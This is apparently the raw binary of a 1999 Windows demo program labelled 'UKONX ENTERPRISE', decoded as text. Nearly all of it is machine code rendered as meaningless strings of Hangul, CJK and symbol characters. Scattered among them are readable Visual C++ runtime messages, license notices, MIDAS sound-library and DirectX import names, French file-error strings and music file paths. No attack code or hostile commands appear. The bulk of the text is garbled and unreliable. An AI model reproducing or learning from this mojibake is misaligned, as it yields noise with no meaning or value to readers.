�臺딲槌�곢� � u���@u 딲 딼�뎢�� �� u딲 �1_^[�홫@�@�t$ �t$ �귷��꺞 홫X�@�t$ �t$ �l���꺞 홛뗭껋 3픐PPP�u 뛇 P뛇�P阮�u뛇�P玉���꺞$�홛뗭껋 3픐PPP�u 뛇 P뛇�P屋�u뛇�P�����꺞$�촌儆儆儆儆儆W�|$�j뜡$��딯$W泰t�A꽵t;泰u������~�껔�3혘��걎�딞�꽵t#꾡t��t��t鈗뛹�� 뛹��뛹凞뛹�딯$ 泰t�A꾋td�G泰u鏑�꺡����~��껔�3혢꺛�걎�꾋t4꾳t'笞�t笞�t淪�딡$_홨�딡$힔_홨�딡$_횊딡$_홛뗭딼S�] V땥딭 W�~�0끱떿~�]3��꾋t았A�j0Z�@�Mu�딼� 끱|�95| H�89u�0椅��>1u�B�W沃���@PWV�A���꺞_^[]홛뗭껋 V뛇WP뛇�P�OY뛳�Yh먈@jj껋 뗽ⅴfθ�`�@꺞�붇@X�@_�먈@₩�@�眼@솅@멈�@^�홛뗭Q딼 SVWf딟��뗁%�쥣#�덭 딟�뢨��%��끱뎦�t;�t뜾<�(���!3�;홻;�u딢뎊�f뎊�K뜾<�]�뗃쥣줘 �딢 M滑� 덳�끤u��뗚쥰 �� �뎊곀��뗅隱딲 �f덳_^[�홭�L���Y홛뗭껋X딢SV땥 ��WH덺t+Ht$HtHtHtHHtHunj���bj� j�j�j[�~QWS完꺞 끐uA딢껟t껟t 껟t긡筬�딲洩F꺻食]�꺣덺�뛐WQP뛇SP뛇쭾碗꺞h���u碗�>YYt�=H�@u V��끐Yu�6�gY_^[�홭j�t$ �꺞 �턈$둒$ 꼫A�@u�|$t�E*�@#D$�3픾픲홭X홛뗭껋SVW�u��뗱Y;5$�@뎦꼓3�;�꼁3恬x�@90tr꺚0B=h�@|�뛇�PV�|�@껟�$j@3픜�@�@�}��5$�@嵯챼D�@놅�}�꽰뛏��꾋꽡턅�뚝;�뇮�뉯�@@依j@3픜�@�@嵯�4R�]滑�첀엳�@�;뗅t,둙꾋t%�랐;�w딼�뒕p�@륚�@@;�v�AA�9u��E�꺝�}�r햲E�<�@P�$�@婉뜺|�@�0�@ⅴY쥵�@λUAA�y�꿊���jX�뉯�@@=�r�V��Y쥵�@�<�@��<�@3읏0�@カル 9翫@t��縕3잼꺢�_^[�횏D$�%翫@껟�u�翫@�%D�@껟�u�翫@�%x�@껟�u��@�翫@횏D$-�t"껇t껇 t Ht3읔�첩첩첩홞j@Y3읏@�@嵯�3읏0�@�$�@�<�@쥵�@カ�_홛뗭곸뛇�VP�5$�@�|�@껟�3읍늻卄��@;�r�둉唇낆��� 꽵t7SW뛘�� 뗌;햣+�띁卄��A� 뗙쥣嵯뗅꺻嗟BB둆�꽵u�_[j뛿臨���5D�@�5$�@P뛿卄��VPj旺j뛿入���5$�@VP뛿卄��VPV�5D�@��j뛿賃���5$�@VP뛿卄��VPh�5D�@頑꺞\3핈띿���f�癡t�뉯�@뒗入��닇@�@�癡t�뉯�@ 뒗賃��蔭��@�@@AA;�r용I3읍껟Ar껟Zw�뉯�@듗�� 늿@�@�껟ar껟zw�뉯�@ 듗�� 乙��@�@@;�r�^�횄=ⓨ@uj翕,���Y�ⓨ@홙3�9人@VWuBh4�@�@�@뗹;�tg�5t�@h(�@W��끐l�@tPh�@W��h�@Wp�@�練鐵@∝�@끐t��뗗끱t∈�@끐tS��뗗�t$�t$�t$S�人@_^[�3잼蔽儆儆儆儆儆딯$ W끟tzVS뗙땤$邰�|$u쥣uo�!�F�GIt%꽵t)邰u�뗙쥣uQ껁t �F�G꽵t/Ku�딡$[^_츠�t�GI꼯颱u�뗙쥣ul�GKu�[^딡$_횋꺡It�����~��껔�3혢꺠�걎�꾋t,꾳t笞�t 笞�u���곣����곣���3��꺡3픇t 3핃꺡Iu�껁u뀑D$[^_홛뗭�豌S�]V3�;��@�떸뗅진꺻����@�D�꾶jVS�$���꺞 껟�덭꾨jVS� ���꺞 껟�꾏W�} +���~oh뛿���VP鈺���h�S汪꺞덭 �;�}떿P뛿���PS�됎��꺞 껟�t+���~融�= �@u ��@ 꺨��u S��YY�@}>j�u S�z���S渦���꺞P�<�@뗱偸擢�N껥�u��@ � �@� �@j�uS�<���꺞 떾_� ��@ 꺢�^[�홛뗭j�hH�@hPh@d�Pd�%껋SVW뎓烏�@3�;홻>뛇�Pj^VhD�@V�0�@끐t떾�뛇�PVh@�@VS�4�@끐꾆jX��@껟u$딢;홻��@�u�u�u �uP�4�@��껟뀛9]u��@덭SS�u�u 딢 堆픺�@P�u�8�@덭�;홺c�]��<떿꺚$澮�뎓�뗵뎦�WSV曜���꺞 � jX횏e�3�3�긎��;�t)�u�V�u�u j�u�8�@;홺�uPV�u�0�@�3핈e�딲�d� _^[�홛뗭j�hX�@hPh@d�Pd�%껋SVW뎓�3�9= �@uFWWj[ShD�@�VW�(�@끐t� �@�"WWSh@�@VW�,�@끐�"� �@9}~�u�u��YY덭� �@껟u�u�u�u�u�u �u�,�@祐껟끩9} u��@덭 WW�u�u딢$堆픺�@P�u �8�@뗗�]�;�꽌�}��꺚$澮Q뎓�떹덭�긎���jX횏e�3��}�긎���]�9}�tfS�u��u�uj�u �8�@끐tMWWS�u��u �u�(�@뗱뎦�;�t2�E t@9}꽧;u�u�uS�u��u �u�(�@끐뀖3핈e�딲�d� _^[�쳬E��6꺚$澮�뎓�뗜�]�긎���jX횏e�3�3�긎��땥�;�t큋S�u��u��u �u�(�@끐t�9}WWuWW��u�uVSh �u �l�@뗱;�꼚���떾�l���딻$딡$끨V뛌�t �8t@뗲I낔u��8^u+D$횏쩠딻$V땤$ 3핈 2;�r;�sjX딻$^� 홝땤$W�|$V�7�6浣���꺞 끐t뛈Pj�0瓮���꺞 끐t�F뛈P�w�0�����꺞 끐t�F뛈P�w�0�����꺞 _^횏D$VW�0땨뗈��0�4?쥣 �딫뗖뎟쥬那 �_덳^횏D$VW딶딫뗳뗺쥘駱 �덳�쥠駱亂 �_덽�^홛뗭껋딢 S�]3�;헩�E�N@�뎂뎂vQW덭뗴�}劑쩢θp���S�j���뛇�PS����S�Z���딢긡�긡��덭�뛇�PS矮���꺞�E�Mu�3�_9Su(딮떶쥡덪�뗱즈줬 珠�갋賄�뎤�聿��꿺uS搖���갋���Y應f딢�^f덪 [�홛뗭껋\SVW�}뛇쨓덭�3픝덭�뎇�덭�덭�덭�덭�덭�덭�덭�덭�덭��}��� t�� t �� t�� uG揖j^�G껟 뇑�$��@��1| ��9j�:4�@uj�F씹껇+tHHt껇끪��j�E��X留긡�jX����1뎇�|��9~�:4�@꽱��+t1��-t,��0tR��C럦��E~��c�{��e뢳j蓉Oj 湧��1| ��9랽���:4�@꼄�����0뀿떷����뎇�90�@~뗐VP妖���YYjZ�� �@뗐�A#�끐t�}�s딢��E���0�E����E��G酉:4�@ug떾熔����}�뎇�뎇�u ��0u�M��G懿90�@~뗐VP�|���YYjZ�� �@뗐�A#�끐t�}�s딢��E���0�E��M���G鍮��+� �����-����寓���90�@뎇�~뗐VP����YYjZ�� �@뗐�A#�끐꽛떾�W뛑���1덺|��9~D씹껇+ttHHtd껇�j�e뎇���0u�G毅��1뚶��9뤻� ��1|��9 j XO勇�����0uD陸�} t*씹뛑�껇+덺tHH뀾긎��jX�둃��jX�괒��j OX껟 꽀�o����}���E�3��=0�@~뗐jP�/���YY�� �@뗐�A꺺끐t알�텓tA�괓P�G毓푊뎦��=0�@~뗐jP猥���YY�� �@뗐�A꺺끐t�G慄O�뗺딢 �}��8꾔jX9E�v�}�|�E퍒E�딢�H�E幅딢��}�넡H�8u�M��E幅�뛇픐뛇��u�P�j���딢�3�꺞 9M�}堆E�9M�uE9M�u+E=P~0�E��]땥딢딼�}�t`3肪���3老E��^=곕��} �E�淪�uP뛇픐�m 딼핆]혢u�딢�꺞 逾3�3�3�3罰�3�3�3�3徘E���}�t3�3�3�3徘E�딲 E�_뎢뎋f덦 딢�^f�[�쵠�@&�@}�@쭕@�@y�@칿@��@��@]�@G�@�@U뗭껋딢S�]V뗁��곢�#�f끟W힒安힒禳힒沇힒鍈힒玩힒龍힒圍힒輪힒益힒酌힒栓힒�?�E�뗊t힏-�힏 �} f끨u��u9}uf�#힏 힏힏0蕓f;�uz��f�;�u�}t颱@uh닽@�Ff끟t��픲 �}u.h��@�;�u#�}uhx�@뛅P雍���Y힏Y긡��nhp�@뛅P�잕��Y힏Y吟력뗉뗱쥣i�M즈f긡�j� Nf뎇�k�M�}�뜶 茨�딢짓덭�옰堆P뛇�P�� 꺞 f�}��?r뛇�FP뛇�P�WYY�Ef�3t�}옰���栯����}��~j_톟�곺�?f긡��E뛇�P�]����MYu�낔}偸곫�~ 뛇�P�n���NYu�뛑뛅끟덭~P덺뛳��}ⅴ뛇�Pθ���뛇�P����뛇P뛇�P誤���뛇�P燎���둉�딲�e�꺞0�E�M�u텑E둌�HH��5뛍|0;햞�89u�0H宜;햟@f��*�,뉱씬�d딢�_^[��;햞 �80uH擬;햟�f�#힏 힏�0�cjX聿U뗭딲3픓V덦딲Wj덦딲[덦 둓痴t 딢�E�� X痴t딢�E�픺H꾂t딢�E�픺H痴t딢�E�픺H痴t딢�E�픺H땥 딢j�딶慟#�꺿店� �_덳�딢慟딶꺻那꺿� �덳�딢慟딶駱꺻꺿� �덳�딢慟딶쥣#�꺿� �덳�딢慟딶쥣#�꺿� �덳曜꽸t딲긆 �t딲긆 �t딲긆 �t딲 y � t딢 X �� #햠4=t=t ;햡(딢�� 딢�꺻� 拳 딢�꺻� ���딢� ���#햠 =t ;햡"딢� 紳딢�꺻�꺣� 딢�꺻�꺣�딢딲곢��줬곣�� ��딢 X 딢딫 꺻� �덳 딢�딢�X딢 XP딢딫P꺻� ��}덳P딢��X@擾뛇PSj�u�P�@딢�@t�&��@t�&虹@t�&頗@t�&�꼃t�&�������꺻껈t%ItIt Iu�N ���呂�����円����!�쥣꺻껈tItIu!��#�����#�����@@�_^[]홛뗭껋 딢SW뗹껆j�[t�]tS�^Y껆巴��t�Etj�DY껆渾�꽸꾋�E꽾j�"Y� 딲#�꼫괊tX괊t(;�뀗딲 ����@���@嗇엢苗�]妾E請n딲 ����@嗇엟�p�@����@苗�]妾E請F딲 ����@嗇엟���@��p�@苗�]妾E請딲 ����@�p�@嗇엢苗�]妾E妾껆�尤�꾆�E꽺V3翠t뗴딢 ��]妾E堞��@嗇�꼷�E�뛇�PQQ�$枉딢�꺞 �]�뜄���괊仇��} 珷뗴�]請T�E堞��@嗇엜뗒�3�둉�꺺 f덭倖���;�}+햫]�t낔u뗴�m��]�t�M���m�Hu�끨t�E籤洩]妾E�딢 ��뗴낔^tj��Y껆曦Et�E t j �xY껆�3픾�_[붅�횏D$껟t~껟��@"쳬�@!�3읔U뗭Q쎶}�풢��홛뗭Q�}�燔풢��홛뗭Q쎲}�딢 뗁#E慟#M� �덺 �m 풢惶홛뗭QQ둓痴t �-L�@�]쏐�t쎸楔-L�@�]�썪嗇痴t �-X�@�]�쏐�t 珷撫詐彿쏐� t武�]�쎢횏D$V;��@sZ뗁꺺짇� ���@뛗�둒�痴t>듎��%�9t$ u��� �|$ @u���堆핂 f%��^쳬�@� ��@ 꺢�^홖=뛎$r곲-�=s�+�떹�뗡��@P홛뗭껋$S�] V땥f딮 3픚덭�덭�덭�덭�f딣 뗺��3�#�#�곭�f=��뎇꺒f괊�꺆f괋煊눁f괋�?w3잼:f끐����u�E꿝u3�9Fu 9u�o3픣;�u�E꿙u9Cu9u 덯덯��k덭�뛇�덭徨E 딢�픺} ~I�뛍덭�딢 덺�덭�딢�딲��� �햲M�꺛�QP�1腕���꺞 끐t딢�f�긂�긩��M�u�긂��E��M �} 쐛E�f�}~%�E��u뛇�P� ���갋��Yf�}�f�}9갋��f�}}+풢堆E뗗�E�t�E�뛇�P曜���KYu��}�t�M�f�}��w딢�%��=�u5�}��u,긡��}��u긡�f�}���u �Ef�E���f�E劣�E瞬�E�딢f=�sf딲� �f�딲�덻딲�덻f덯 �f套�긢곭�곀���&�~_^[�홛뗭껋 S퍡�@3�껊`9M tc}딢 샐�@堆덭 껊`9Mu딢f�9M tAVW딢 꺝T�} 꺺;햠'�@f�<���4긮 �}處ⅴ�M�뛳�V�u�r���YY3�9M u�_^[�홛뗭QQ딢딲�E�f곢��]平� 햒덭��E弊홛뗭QQ�E���@V嗇엞 珷3鍼]飽�3�f�E�ue�E ��u9MtW�E���@����嗇엜jX�3쟝Eu�e �E �t긎 �eN揖f갻��;햠�M��EQQQ�$�P����]�꺞 �'�EQQQ�$�:���딢꺞 �]平�f%�욹곺�딢�E��0^�촌�%`�@<�Z�V�李.��린h�X�F�4�����砥|�삸x�볏꽧l�옽<�"�V�薺檳縕兵r�뒺뼭ㅀげ隔莫棺���궞 �<�H�V�d�r�맩∮눙캇耐�>�0�第 ���유啞奈뒽맢� �:�R�p�嬪┏��池膈석�롼@C�캽 �쫌5�8Y�}�㉿��3V��l3㎺�! � �`姓┳C+�㉿��3V곚l3㎺�! � �`꿟�W�n�볾�#�'N梶i�≡�멕퍍�l3㎺�! � �`끱l3㎺�! � �`�욶~ ��졝8� �%Y꽤옳DEST� �%Y꽤옳DEST`R뎷は옳DESTaR뎷は옳DESTb�DY뒱�옳DESTc�DY뒱�옳DEST��DY.��옳DEST곫DY.��옳DEST귝DY.��옳DEST껅DY.��옳DEST쟤淞�댭싍졝쟮5�ms��옳DEST�ms��옳DEST�ms��옳DEST�ms��옳DEST�ms��옳DEST�ms��옳DEST�ms��옳DEST�ms��옳DEST 굍U<遝옳DEST�ms��옳DEST�ms��옳DEST`+o졩�옳DESTa+o졩�옳DESTp+o졩�옳DEST T3롊싍졝쟮5!T3롊싍졝쟮5"T3롊싍졝쟮5#T3롊싍졝쟮5$T3롊싍졝쟮5%T3롊싍졝쟮5&T3롊싍졝쟮5'T3롊싍졝쟮5(T3롊싍졝쟮5)T3롊싍졝쟮5*T3롊싍졝쟮5+T3롊싍졝쟮5i@�@龍p= �@{췍�z�?{췍�z@낅Q� @낅Q��?R�낅Q�? @龍p= �@\뤒�(\�?ffffff�?쨛= 龍�?333333�?P@Y@슇솛솛�?�r@픯@슇솛솛�?�@Microsoft (R) Visual C++ (R)Anmerkung: Die Bestimmungen dieses Endbenutzer-Lizenzvertrags f�r Visual C++ Autoren Edition lassen den Weitervertrieb der mit diesem Produkt erstellten ausf�hrbaren Dateien nicht zu.뭾댰: Microsoft Visual C++ �]돽붎 궻럊뾭떀묡�_뽵룕궻륆��궳궼갂궓땞뾩궕�{�\긲긣긂긃귺귩럊뾭궢궲띿맟궥귡렳뛱긲�@귽깑궻띋붠븓궼봃귕귞귢궲궋귏궧귪갃Note: The terms of the End User License Agreement for Visual C++ Introductory Edition do not permit redistribution of executables you create with this Product.�����:@�:@EEE50P (8PX700WP `h````ppxxxx(null)(null)�?�~PA���GAIsProcessorFeaturePresentKERNEL32e+000�?5헺!♭�>@�������샓�@�runtime error TLOSS error SING error DOMAIN error R6028 - unable to initialize heap R6027 - not enough space for lowio initialization R6026 - not enough space for stdio initialization R6025 - pure virtual function call R6024 - not enough space for _onexit/atexit table R6019 - unable to open console device R6018 - unexpected heap error R6017 - unexpected multithread lock error R6016 - not enough space for thread data abnormal program termination R6009 - not enough space for environment R6008 - not enough space for arguments R6002 - floating point not loaded Microsoft Visual C++ Runtime Library Runtime Error! Program: ...GetLastActivePopupGetActiveWindowMessageBoxAuser32.dll����-�@1�@����뜆@몛@����A�@E�@1#QNAN1#INF1#IND1#SNAN_yn_y1_y0frexpfmod_hypot_cabsldexpmodffabsfloorceiltancossinsqrtatan2atanacosasintanhcoshsinhlog10logpowexp幕0��糾P��寞p��玉껏�ЛJ���席h��<�Z�V�李.��린h�X�F�4�����砥|�삸x�볏꽧l�옽<�"�V�薺檳縕兵r�뒺뼭ㅀげ隔莫棺���궞 �<�H�V�d�r�맩∮눙캇耐�>�0�第 ���유啞奈뒽맢� �:�R�p�嬪┏��池膈석_MIDASclose@0_MIDASgetErrorMessage@4_MIDASgetLastError@09_MIDASstartBackgroundPlay@4._MIDASsetMusicSyncCallback@8 _MIDASplayModule@8_MIDASloadModule@4_MIDASinit@0_MIDASconfig@00_MIDASsetOption@8:_MIDASstartup@0 _MIDASfreeModule@4<_MIDASstopModule@4midas11.dllDirectDrawCreateDDRAW.dllDirectInputCreateADINPUT.dllQueryPerformanceFrequencyQueryPerformanceCounterKERNEL32.dll�DefWindowProcA�PostQuitMessage�EndPaint BeginPaintfShowCursorYCreateWindowExA�RegisterClassA�LoadCursorA�LoadIconAUSER32.dll_GetStockObjectGDI32.dllrGetUserDefaultLangID�HeapAlloc}ExitProcess�TerminateProcess�GetCurrentProcess�HeapFree&GetModuleHandleAPGetStartupInfoA�GetCommandLineAtGetVersionGetLastErrorCloseHandleReadFile�HeapDestroy�HeapCreate�VirtualFree�VirtualAlloc�HeapReAllocjSetFilePointermSetHandleCountRGetStdHandleGetFileType�WriteFile>GetProcAddress�UnhandledExceptionFilter$GetModuleFileNameA�FreeEnvironmentStringsA�FreeEnvironmentStringsW�WideCharToMultiByteGetEnvironmentStringsGetEnvironmentStringsW/RtlUnwind|SetStdHandle�FlushFileBuffers4CreateFileA�GetCPInfo�GetACP1GetOEMCP�LoadLibraryAaSetEndOfFile�MultiByteToWideCharSGetStringTypeAVGetStringTypeW�LCMapStringA�LCMapStringW RaiseException�MessageBoxA�-@pS@@�@T@rbca chie! -> impossible d'ouvrir le fichier: %s no enough memory!! for loading: %sread error: ca chie a la lecture de :%swbca chie! -> impossible d'ouvrir le fichier: %s ca chie a l ecriture de :%sMIDAS error: %s UKONXCLASSUKONX ENTERPRISE 1999UKONXCLASSdata/deemphasis.xmdata/fond.15u�s��7@�7@�7@sincos�1@����� x�@h�@`�@`�@